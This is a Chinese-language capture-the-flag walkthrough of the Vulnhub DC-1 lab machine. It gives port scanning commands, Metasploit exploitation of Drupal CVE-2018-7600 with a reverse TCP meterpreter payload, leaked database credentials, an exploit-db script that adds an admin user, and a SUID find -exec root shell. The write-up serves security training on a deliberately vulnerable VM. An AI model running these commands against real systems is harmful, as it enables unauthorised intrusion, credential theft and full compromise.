目录
前言
1.靶机环境介绍
2.实战DC1靶机
2.1 靶机安装到信息收集
2.2 入侵靶机-flag1
2.3 入侵靶机-flag2
2.3 入侵靶机-flag3
2.3 入侵靶机-flag4
真实的渗透环境有时候真的难的一批,一点没有想到你就进不去,不去,去......。最近也变了,不知道是什么时候开始也要一键三连了,莫名其妙关注了一抹多人,看到室友做的靶机DC-1决定来找找存在感。顺手抒发一下内心悲愤难鸣之情。反正以后渗透搞不下去就玩靶机吧,要是靶机也搞不定就躺着玩手机咯。
本靶机是由著名的靶机提供商vulnhub提供,官网连接请点击(https://www.vulnhub.com/),想做就去找吧,这里面啥靶机都有。
本靶机镜像地址:https://www.vulnhub.com/entry/dc-1-1,292/
本次实验设计虚拟机vmware,靶机DC-1,攻击机kali。
虽然是靶机,我们也要认真对待。首先要明白这道题要考啥,本靶机知识点:
CVE-2018-7600 Drupal核心远程代码执行漏洞
drupal配置文件和重置管理员密码
suid提权
收集靶机信息
注意:本次实验设计系统均安装在VMware Workstation中,所以建议网卡设置选用NAT模式。
说那么多废话,我还是开始吧。
发现主机:使用kali自带的工具arp-scan
根据信息确认攻击主机IP地址为:192.168.204.1。使用世界上最快速的端口扫描工具masscan,快速的扫描端口。
masscan -p1-65535,U:1-65535 192.168.204.137 --rate=1000
端口已经发现了,使用nmap探索端口对应的服务。
nmap -v -sV -A -p80,22,111,39506 192.168.204.137
分析扫描结果发现主机80端口开启的服务是Drupal,111端口开启的是rpcinfo服务。访问80端口的服务,发现是一个叫Durpal CMS
细心的朋友应该可以发现,在前期信息收集阶段发现了一些敏感目录泄露,比如(robots.txt),随即访问之,渗透就是一个细心发现的过程。
然而有时候细心不一定有用,但一般都是很管用的。比如我们心细一点就发现了该CMS的版本信息。再比如我是看过室友的文章,发现他是先找的flag3,这就是一个找flag的靶机,那我想这应该是一道基础题,于是乎就直接访问flag1。
在2.1中我找到了flag1和作者的提示,他说每个好的cms都有一个配置文件和一个正在做靶机的靓仔。那这2就应该是要查看配置文件才行。
那要如何才能查看配置文件呢?请打开百度输入dc-1,然后用力敲击回车。
直接利用msf拿到shell慢慢的找。
msf使用:
msfconsole
search drupal
use exploit/unix/webapp/durpal_drupalgeddon2
show payloads
set payload php/meterpreter/reverse_tcp
show options # 在required字段下为yes的表示为必填项,使用set对用相关字段填充内容
set RHOSTS 192.168.204.137 set LHOSTS 192.168.204.135 run
就轻而易举的拿下shell。
利用这个shell,又是一通找啊,终于发现了flag2。
flag2存在网站根目录下sites/default/settings.php的文件里
根据2.2的提示,不能采用暴力破解,只能进入网站,你能用认证做点什么?
在拿到flag2时我们还发现了数据库的配置文件,数据库只能本地连接,尝试反弹一个shell。
通过执行系统命令,发现数据库端口,使用数据库账号密码连接数据库。
数据库配置信息:
'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '',
注意:数据库只允许本地连接。所以,我们需要反弹一个shell出来,方便执行系统命令。
采用python调用系统命令:python -c 'import pty;pty.spawn("/bin/bash")'
连接数据库:
mysql -udbuser -pROck3t
数据库都翻烂了也没找到flag3,在kali上找有没有现成的POC可以利用一下。
使用searchsploit drupal发现漏洞利用POC
执行py脚本,增加管理员
python /usr/share/exploitdb/exploits/php/webapps/34992.py
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.204.137 -u jietewang -p jietewang 添加用户名为jietewang密码为jietewang
发现flag3
根据flag3的提示
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. 特殊的PERMS将帮助你发现密码,但你需要使用管理员执行命名来获取shadow的内容(翻译很丑将个烂就)
咋的是要去读取/etc/shadow吗?这没个管理员咋弄。
开始提权
touch test
find test -exec whoami \;
find test -exec /bin/sh \;
cd /root
cat thefinalflag.txt
提权成功